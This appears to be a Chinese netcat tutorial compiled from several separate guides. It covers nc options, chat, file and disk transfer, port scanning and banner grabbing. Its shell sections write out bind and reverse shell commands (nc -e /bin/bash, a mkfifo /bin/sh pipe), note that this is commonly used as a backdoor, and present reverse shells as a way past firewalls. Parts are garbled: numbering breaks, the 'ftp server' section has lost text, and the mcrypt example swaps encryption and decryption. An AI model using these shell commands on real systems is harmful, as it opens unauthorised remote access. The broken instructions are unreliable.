netcat

NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network
connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序
程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开
发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有
意思的内建功能

最简单的使用方法,”nc host port”,能建立一个TCP连接,连向指定的
主机和端口。接下来,你的从标准输入中输入的任何内容都会被发送到指定的
主机,任何通过连接返回来的信息都被显示在你的标准输出上。这个连接会一
直持续下去,至到连接两端的程序关闭连接。注意,这种行为不同于大多数网
络程序,它们会在从标准输入读到一个文件结束符后退出。
  NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound
connection ),并可做同样的读写操作。除了较小限制外,它实际并不关心自
己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。在任何
一种模式下,都可以设置一个非活动时间来强行关闭连接。
  它还可以通过UDP来完成这些功能,因此它就象一个telnet那样的UDP程序,
用来测试你的UDP服务器。正如它的“U”所指的,UDP跟TCP相比是一种不可靠的
数据传输,一些系统在使用UDP 传送大量数据时会遇到麻烦,但它还有一些用
途。
  你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),
这儿有一些理由。Telnet有“标准输入文件结束符(standard input EOF)”问题,
所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直
到连接被关闭的主要原因。Telnet也不能传输任意的二进制数据,因为一些特
定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些
诊断信息显示到标准输出上,而NetCat会将这信息与它的输出分开以不改变真
实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不
能使用UDP。 NetCat没有这些限制,比Telnet更小巧和快捷,而且还有一些其
它的功能。



 NetCat的一些主要功能:
*支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
*全部DNS正向/反向检查,给出恰当的警告
*使用任何源端口
*使用任何本地设置的网络资源地址
*内建端口扫描功能,带有随机数发生器
*内建loose source-routing功能
*可能标准输入读取命令行参数
*慢发送模式,每N秒发送一行
*以16进制显示传送或接收的数据
*允许其它程序服务建立连接,可选
*对Telnet应答,可选



编译NetCat
  编译NetCat是非常简单的。检查一下Makefile,找到符合你的系统类型的
SYSTYPE如何拼写,然后运行“make”,然后可执行的nc就会出现了。如果没有合
适的SYSTYPE,用”generic”试试。
  其Makefile中有dos, ultrix, sunos, solaris-static, solaris, aix,
linux, irix, osf, freebsd, bsdi, netbsd, hpux, unixware, aux, next,
generic等SYSTYPE,其中generic不算系统类型,则dos其实并不支持。在本文
一开始的NetCat的链接页面中,也有一个Windows 版本的NetCat,是另一个人
做的移植。
  Linux的sys/time.h并不真正支持FD_SETSIZE的 表示,编译时会有一个无
害的警告。在一些系统中编译时,可能会与signal()有关的指针类型警告,但
不影响编译结果。



开发NetCat的功能
  NetCat小巧且功能强大,描述它的功能就是象描述瑞士军刀的功能一样。
  如果没有提供命令行参数,NetCat会提示你从标准输入来输入命令参数,
然后NetCat会在内部解析输入。用这种办法输入命令式参数,可以用来防止借
助“ps”来查看你的命令行参数。
  主机参数可以是一个名字或一个IP地址。如果-n出现,则它接受IP地址,
而不再对计算机的名字或域名进行解析。如果没有-n,但加上-v,则NetCat可
进行正/反向域名解析,并警告the all-too-common problem of mismatched
name in DNS 。这会耗费稍多一点时间,但在某些情况下会有用处。如,你想
知道某个IP的主机名,NetCat可省却你手工查找的时间。
  要建立对外的连接,必须提供一个端口号,可以是个数字,也可以/etc/services列表中的端口服务名。当-n 出现时,则只有数字形式的端口可以接收。
  -v参数,可以将一些关于连接建立信息输出到标准错误。-v参数多出现几
次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,
至到出现错误为止。
  -w参数后跟一个时间值,用以指定建立链接时的等待时间,-w如果多次出
现,则后面的值将取代前面的设置。-w还用来设置连接非活动时间,当标准输
入结束以后,如果等待指定的一段时间后仍没有数据返回,则NetCat会再试一
次,然后关闭连接并退出。
  当-u参数出现时,用UDP建立连接。
  用-o logfile参数,可以将连接上往来传输的数据以16进制的形式记录到
logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,
每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。
  NetCat用-s ip-addr或-s name来绑定本地网络资源地址,-p portarg 来
绑定本地端口。除了因权限限制或端口已经使用外,-p可以绑定任何端口。
Root用户可以绑定保留的1024以内的端口。如果不用-p指定端口,则使用系统
给定的未使用的端口。(-p功能在客户端状态也可以使用,-s功能并不是在所有
的平台上都可用)
  -l参数可以使NetCat以服务器状态运行。
“nc -l -p 1234 [remote hostname] [remote port]”可以用来指定入连的主机
和端口,如果申请连接的主机或端口不符指定,则会断开连接。
  当编译时置-DGAPING_SECURITY_HOLE,则-e参数被NetCat支持。-e后面跟
一可执行程序的名称,当一个连接(入或出)被建立时,这个程序被运行。尤
其当NetCat以服务器端运行时,-e参数使其有点象inetd了, 只是只能运行一
个进行而已。需要说明的是,-e后的程序不能从NetCat的命令行接收参数,如
果有参数要传递,可能需要一个脚本。
  当编译时置-DTELNET,则-t参数被支持,此时NetCat可以登录到一个
telnetd服务器,并提供相关的握手应答,至到出现登录提示符。
  NetCat用8k的读写,来尽可能高效将收到数据显示到标准输出上及将标准
输入写到连接上。-i参数,可以用来设置发送一行标准输入信息的间隔,以减
少发送速度。
  端口扫描是一探测主机服务的流行方法。NetCat的命令行中,先是参数,
再是主机,最后是端口。端口可以是一些服务名、端口号,或者是一个端口范
围(形如N-M)。
“nc -v -w 2 -z -i 1 20-30”用来扫描target主机的20-30(两端包含)端口,
-z表示不发送任何数据到TCP连接或非常有限的数据到UDP连接。-i用以指明两
个端口建立连接的时间的间隔。-w用以指明连接不活动时间。通常情况下,扫
描按从高到低的顺序依次扫描指定的端口,-r参数可以让NetCat在指定的端口
范围内随机地扫描端口。(当-r被用于单个连接时,本地的端口在8192以上,
除非用-p指定)
  -g可以用来指定网关(最多可达8个),-G可以用来指定source-routing
pointer。(这是原文,但我还是不明白。:(-g => Group hops
Many people are interested in testing network connectivity using IP
source routing, even if it’s only to make sure their own firewalls
are blocking source-routed packets. On systems that support it, the
-g switch can be used multiple times [up to 8] to construct a
loose-source-routed path for your connection, and the -G argument
positions the ‘‘hop pointer’’ within the list. If your network
allows source-routed traffic in and out, you can test connectivity
to your own services via remote points in the internet. Note that
although newer BSD-flavor telnets also have source-routing
capability, it isn’t clearly documented and the command syntax is
somewhat clumsy. Netcat’s handling of ‘‘-g’’ is modeled after
‘‘traceroute’’.)
  NetCat不是一个任意包发生器,但可以与raw socket通话,nit/bpf/dlpi
有时也能行( nit/bpf/dlpi may appear at some point).推荐Drren Reed的
ip_filter包,里面有一个工具能创建并发送raw packets.



netcat可以作为类似于telent的客户端,也可以监听某个端口作为服务器,还可
以作为扫描工具扫描对方主机的端口,还可以用来传输文件,不相信吗? 听我慢
慢道来:)
首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络
的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议. 之所以
叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,
然后输出到屏幕上(默认的stdout是屏幕,当然可以重定向到其他地方).netcat
也是如此,它读取一端的输入,然后传送到网络的另一端,
就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他
程序组合时.好了,废话少说,进入正题吧.:p
网上有两种版本的netcat,一个是@stake公司的netcat,
http://www.atstake.com/research/tools/network_utilities/ 也就是最初
的版本,还有一个是GNU的netcat.http://netcat.sourceforge.net/download.php
我个人更倾向于使用GNU的netcat,因为它的功能更多,不过GNU的没有windows
平台的版本:confused:
至于编译和安装我想就不用说了,如果这关都过不了,我想也有点太……,看看
readme和install文件,一般情况下./configure&&make&&make install就ok了,
具体的./configure选项看看帮助。



netcat的命令行程序名字为nc,是netcat的缩写,安装完了是找不到netcat这个
程序的.:)



root@mail etc #nc -h
GNU netcat 0.7.0, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere: nc [options] hostname port [port] …
listen for inbound: nc -l -p port [options] [hostname] [port] …
tunnel to somewhere: nc -L hostname:port -p port [options]



Mandatory arguments to long options are mandatory for short options
too.
Options:
-c, –close close connection on EOF from stdin
-e, –exec=PROGRAM program to exec after connect
-g, –gateway=LIST source-routing hop point[s], up to 8
-G, –pointer=NUM source-routing pointer: 4, 8, 12, …
-h, –help display this help and exit
-i, –interval=SECS delay interval for lines sent, ports scanned
-l, –listen listen mode, for inbound connects
-L, –tunnel=ADDRESS:PORT forward local port to remote address
-n, –dont-resolve numeric-only IP addresses, no DNS
-o, –output=FILE output hexdump traffic to FILE (implies -x)
-p, –local-port=NUM local port number
-r, –randomize randomize local and remote ports
-s, –source=ADDRESS local source address (ip or hostname)
-t, –tcp TCP mode (default)
-T, –telnet answer using TELNET negotiation
-u, –udp UDP mode
-v, –verbose verbose (use twice to be more verbose)
-V, –version output version information and exit
-x, –hexdump hexdump incoming and outgoing traffic
-w, –wait=SECS timeout for connects and final net reads
-z, –zero zero-I/O mode (used for scanning)



Remote port number can also be specified as range. Example: ‘1-1024’



我用的是GNU的netcat,比起@stake公司的netcat多了-c 选项,不过这是很有用
的一个选项,后面我们会讲到.还有GNU的-L,-t ,-T选项和@stake的-L -t 用途
是不一样的,自己琢磨吧.



一.客户端
这是最简单的使用方式,nc
nc www.apache.org 80
get / http/1.1
HTTP/1.1 400 Bad Request
Date: Mon, 08 Dec 2003 06:23:31 GMT
Server: Apache/2.0.48-dev (Unix)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1



400 Bad Request



Bad Request
Your browser sent a request that this server could not understand.



Apache/2.0.48-dev (Unix) Server at www.apache.org Port 80



呵呵,看到了什么,我什么也没说哦:p



二.简单服务器
nc -l -p //这里-l参数表明nc处于监听模式,-p指定端口号.
nc -l -p 1234[假设这台主机ip为192.168.0.1]
然后从客户端输入, nc 192.168.0.1 1234 然后你从任一端输入的数据就会显
示在另一端了.其实netcat的server和client的区别并不大,区别仅仅在于谁执
行了-l来监听端口,一旦连接建立以后,就没有什么区别了. 从这里我们也可以
了解netcat的工作原理了,通过网络链接读写数据.[It is a simple Unix
utility which reads and writes data across network connections,
using TCP or UDP protocol]–@stake主页是这么说的.



三.telnet服务器
nc有一个-e的选项,用来指定在连接后执行的程序.
在windows平台上可以指定-e cmd.exe[winxp,win2000,] 如果是98就指定
command.exe.linux则指定-e bash,或者任何你喜欢的shell, 或者是你自己编
写的程序,通常是做为后门:p
指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入
(命令)后反馈的结果显示到另一端.
server: nc -l -p 1234 -e bash
client: nc 192.168.0.1 1234 就可以远程登陆server了
其实我们不一定非要在server端指定-e,也可以在client端指定.
server: nc -l -p 1234
client: nc -e 192.168.0.1 1234 .这样,就相当于在server上远程登陆client
了.我前面说过,有关client和server的区分是没有什么意义的.谁做为telnet
server的标准只有一个,谁执行了-e [shell].



四.ftp服务器
nc可以从任何地方接受输入,不仅仅是-e指定的程序,还可以是文件; nc可以将
输入重定向到任何地方,不仅仅是默认的屏幕.指定的方法很简单,使用 > 和
somefile
例2; server: nc -l -c -p 1234 >somefile
client: nc 192.168.0.1 1234 /check/host.disk1
然后,可以利用linux内核的loopback特性,把host.disk以只读的方式mount上,
然后就可以做取证分析了.
[如果真的做取证分析,一定不要在原始的受害主机硬盘上find和类似的操作,
因为这会修改时间标记而破坏原始的证据]



例4. 将文件压缩后再传送.
如果你的文件很大,何不先压缩它呢,利用管道, 我们甚至不用生成压缩后的中
间文件!
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234|tar xzvf -



[tar打包时最好不要使用绝对路径,虽然GNU的tar能把它转换成相对路径,但不
是所有的平台都能做到,所以如果不想把你的文件系统搞乱的话,就使用相对路
径吧!]



1,端口扫描
端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。



$nc -z -v -n 172.31.100.7 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点)



v 参数指使用冗余选项(译者注:即详细输出)



n 参数告诉netcat 不要使用DNS反向查询IP地址的域名



这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。



一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。



$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
Chat Server



假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。



Server



$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。



Client



$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。



3,文件传输
大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。



Server



$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。
在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.



没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。



B作为Server



Server



$nc -l 1567 > file.txt
Client
nc 172.31.100.23 1567 < file.txt
4,目录传输
发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。



如果你想要通过网络传输一个目录从A到B。



Server



$tar -cvf – dir_name | nc -l 1567
Client



$nc -n 172.31.100.7 1567 | tar -xvf -
这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。
在客户端我们下载该压缩包通过netcat 管道然后打开文件。



如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。



Server



$tar -cvf – dir_name| bzip2 -z | nc -l 1567
通过bzip2压缩



Client



$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解压



  1. 加密你通过网络发送的数据



如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。



服务端



$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。
客户端



$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。
以上两个命令会提示需要密码,确保两端使用相同的密码。



这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。



  1. 流视频



虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。



服务端



$cat video.avi | nc -l 1567
这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
这里我们从socket中读入数据并重定向到mplayer。
7,克隆一个设备



如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。



克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上



Server



$dd if=/dev/sda | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。
8,打开一个shell



我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。



假设你的netcat支持 -c -e 参数(默认 netcat)



Server



$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567
这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash
假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell



Server



$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:



从网络收到的输入写到fifo文件中



cat 命令读取fifo文件并且其内容发送给sh命令



sh命令进程受到输入并把它写回到netcat。



netcat 通过网络发送输出到client



至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。



在客户端仅仅简单连接到服务器



Client



$nc -n 172.31.100.7 1567
你会得到一个shell提示符在客户端
反向shell



反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。



服务端



$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。
客户端



$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。




  1. 指定源端口



假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。



服务器端



$nc -l 1567
客户端



$nc 172.31.100.7 1567 -p 25
使用1024以内的端口需要root权限。



该命令将在客户端开启25端口用于通讯,否则将使用随机端口。



  1. 指定源地址



假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。



服务器端



$nc -u -l 1567 < file.txt
客户端



$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
该命令将绑定地址172.31.100.5。



这仅仅是使用netcat的一些示例。



其它用途有:
使用-t选项模拟Telnet客户端,
HTTP客户端用于下载文件,
连接到邮件服务器,使用SMTP协议检查邮件,
使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。
简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。


Category web